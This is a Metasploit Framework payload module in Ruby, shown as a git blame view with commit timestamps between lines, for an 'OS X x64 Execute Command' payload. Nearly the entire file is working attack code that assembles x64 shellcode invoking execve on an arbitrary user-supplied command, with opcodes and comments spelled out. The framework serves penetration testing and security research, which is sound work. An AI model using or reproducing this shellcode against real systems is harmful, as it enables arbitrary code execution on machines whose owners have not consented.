Files
metasploit-gs/modules/payloads/singles/osx/x64/exec.rb
T

60 lines
2.2 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
module MetasploitModule
CachedSize = 31
2013-08-30 16:28:54 -05:00
include Msf::Payload::Single
2012-02-01 10:59:58 -06:00
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(merge_info(info,
'Name' => 'OS X x64 Execute Command',
'Description' => 'Execute an arbitrary command',
'Author' => [ 'argp <argp[at]census-labs.com>',
2013-10-07 12:49:20 -05:00
'joev' ],
2013-08-30 16:28:54 -05:00
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X64
2013-08-30 16:28:54 -05:00
))
2012-02-01 10:59:58 -06:00
2013-08-30 16:28:54 -05:00
# exec payload options
register_options([
OptString.new('CMD', [ true, "The command string to execute" ])
])
2013-08-30 16:28:54 -05:00
end
2012-02-01 10:59:58 -06:00
2013-08-30 16:28:54 -05:00
# build the shellcode payload dynamically based on the user-provided CMD
def generate
cmd_str = datastore['CMD'] || ''
# Split the cmd string into arg chunks
cmd_parts = Shellwords.shellsplit(cmd_str)
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
call = "\xe8" + [arg_str.length].pack('V')
payload =
2014-03-03 08:56:52 -06:00
"\x48\x31\xd2"+ # xor rdx, rdx
2013-08-30 16:28:54 -05:00
call + # call CMD.len
arg_str + # CMD
"\x5f" + # pop rdi
if cmd_parts.length > 1
"\x48\x89\xf9" + # mov rcx, rdi
2014-03-03 08:56:52 -06:00
"\x52" + # push rdx (null)
2013-08-30 16:28:54 -05:00
# for each arg, push its current memory location on to the stack
cmd_parts[1..-1].each_with_index.map do |arg, idx|
"\x48\x81\xc1" + # add rcx + ...
[cmd_parts[idx].length+1].pack('V') + #
"\x51" # push rcx (build str array)
end.join
else
2014-03-03 08:56:52 -06:00
"\x52" # push rdx (null)
2013-08-30 16:28:54 -05:00
end +
"\x57"+ # push rdi
"\x48\x89\xe6"+ # mov rsi, rsp
"\x48\xc7\xc0\x3b\x00\x00\x02" + # mov rax, 0x200003b (execve)
"\x0f\x05" # syscall
end
end